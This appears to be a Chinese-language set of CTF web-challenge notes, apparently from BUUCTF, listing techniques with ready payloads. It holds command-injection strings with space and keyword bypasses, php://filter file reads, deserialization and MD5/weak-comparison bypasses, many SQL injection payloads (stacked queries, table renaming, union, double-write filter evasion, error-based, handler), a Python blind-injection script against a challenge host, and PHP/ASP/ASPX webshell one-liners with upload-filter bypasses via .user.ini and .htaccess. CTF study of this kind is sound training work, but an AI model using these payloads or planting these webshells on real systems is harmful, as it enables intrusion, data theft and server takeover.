一、通过提交参数访问flag.php页面获取flag
1、有include时,使用目录穿越,利用xxx?/…/,以及多个/…/配合访问指定的文件,利用/使xxx?成为一个不存在的目录,最后include利用…/…/跳转目录读取flag,ed:第一题
2、利用filter直接读取flag.php,file=php://filter/read=convert.base64-encode/resource=flag.php
,eg:第六题
3、遇到了空格以及关键字拦截时,几种绕过方式,eg:第十题
关键字绕过:?ip=1;a=g;cat$IFS$1fla$a.php
空格绕过:
${IFS}替换
$IFS$1替换
${IFS替换
%20替换
<和<>重定向符替换
%09替换
4、利用空格绕过WAF,eg:第十三题,waf检测的是xxx,将参数提交设置成" xxx"时,WAF会认为xxx!= xxx,但是php获取参数时会将空格省略去
5、利用scandir获取flag所在地址并获取flag,输入:? num=print_r(scandir(chr(47)))
获取flag所在地址,输入:? num=print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
获取flageg:第十三题
6、提交序列化参数获取flag,反序列化时会执行类的析构函数,序列化时会执行wakeup魔法函数,绕过wakeup函数的方法:让序列化类信息参数数目不一致eg:第十五题
7、php使用==判断是否相等时,数字与字符判断时,会将字符中数字部分保留转换成int型与数字进行判断,eg:第十九题
8、MD5加密绕过,ffifdyop可以使查询语句永真,两个值不同但md5值相同则可以通过输入数组方式进行验证,(a[]=1)!=(b[]=2),但是经过MD5加密后,由于md5不能处理数组,结果为null==null
,eg:第二十二题
9、传入文件名,读取内容与特定字符串比较,可以使用data协议进行绕过,如:第二十四题
text(参数名)=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
10、php中==是弱等,会将不同类型的转换成同类型比较,而===
是强等,会先比较两边类型是否一致,再进行数值比较,eg:第二十九题
二、sql注入获取数据库中的flag
1、使用堆叠注入,eg:第三题
第一步:利用1’;show tables;#
或1;show tables;
查看是否存在堆叠注入漏洞,以及是数字型还是字符型
第二步:利用1’;desc table.name;#
查看表中字段
第三步:若发现flag提示,利用1’;select xx from table.name;#
获取flag
第四步:若发现select被拦截,利用预编译绕过select限制:1';set @sql = CONCAT('se','lect * from table.name;');prepare stmt from @sql;EXECUTE stmt;#
第五步:若接着在遇到strstr拦截,由于strstr不能区分大小写,将开头字母大写进行绕过:1';Set @sql = CONCAT('se','lect * from '1919810931114514';');Prepare stmt from @sql;EXECUTE stmt;#
2、采用修改表名来进行获取flag,eg:第三题
前提:在输入栏输入1等正常数字会查询出正常数据;获取到了表名以及flag所在字段
原理:将flag所在的表名替换为输入1正常查询的表名xxx,这样正常输入1等正常输入时会将flag查询出来
查询语句:
修改表名(将表名user改为users)
alter table user rename to users;
修改列名(将字段名username改为name)
alter table users change uesrname name varchar(30);
构建的语句:
1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#
拆分开来如下
1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(50);
#
3、利用原本sql语句执行非本意功能,eg:第五题
前提:让你输入flag值帮你判断对与错,且输出结果为1或0
方式1:输出结果为1或0猜测使用了||,以及语句为select xxa||flag from xxx
,可以输入*,1
让语句变成select *,1||flag from xxx从而查询出所有数据
方式2:将||意义改变,1;set sql_mode=PIPES_AS_CONCAT;select 1
,让||变成连接词,执行两个个查询,一个为seelct 1 || flag from Flag,另一个执行设置后变成select 1|| flag from Flag,前者的||为或,结果为1,后一个为连接,查1和flag。
4、使用常规union select获取数据,eg:第八题
1、union select 1,2,database()#用于确定当前数据库名称
2、union select 1,2,group_concat(schema_name) from information_schema.schemata#用于查看所有数据库名称
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#用于都确定表名
3、union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘l0ve1ysq1’#用于确定字段名
4、union select 1,2,group_concat(id,username,password) from (databasename.tablename)#输出数据
5、发现union select部分字段缺失,可采用双写绕过,eg:第十七题;还可以采用//union//select进行绕过,eg:第二十七题
双写绕过规则:
union select ->ununionion seselectlect
from->frfromom
where->whereere
information->infoorrmation
6、使用extractvalue进行报错注入,如:第二十五题
1'^extractvalue(1,concat(1,(select(group_concat(schema_name))from(information_schema.schemata))))#
7、异或盲注,eg:第二十六题
import requests
if __name__ == '__main__':
url = "http://1bf27f3e-0eb4-41fd-8991-aef8381dbfbc.node3.buuoj.cn/index.php"
payload = {"id": ""}
result = ""
for i in range(1, 100):
l = 32
r = 126
mid = (l + r) // 2
while (l < r):
payload["id"] = "0^(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i, mid)
html = requests.post(url, data=payload)
if "Hello" in html.text:
l = mid + 1
else:
r = mid
mid = (l + r) // 2
if (chr(mid) == " "):
break
result = result + chr(mid)
print(result)
print("flag:", result)
8、使用union select查询时若查询不存在的数据,会在数据库临时增加一条和查询数据相等的数据,eg:第二十八题
9、使用handler进行注入,eg:第三十二题
1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#
三、上传一句话木马获取webshell
php的一句话木马: <?php @eval($_POST['pass']);?>
asp的一句话是: <%eval request ("pass")%>
aspx的一句话是: <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>
1、修改Content-Type:image/png保证上传类型为图片
2、绕过对php后缀名的检测方法:php改为phtml
3、添加图片头让一句话木马通过读取验证:GIF89a? <script language="php">eval($_REQUEST[pass])</script>
4、若只能上传图片格式的文件,可以使用.user.ini文件,通过访问其本身存在的php,使png格式木马启动,eg:第二十三题
.user.ini文件内容:
GIF89a auto_prepend_file=pass.png
5、若只能上传png格式,可以使用.htaccess
文件,指定木马图片以php进行解析,连接图片即可
.htaccess内容:
<FilesMatch "pass">
SetHandler application/x-httpd-php
</FilesMatch>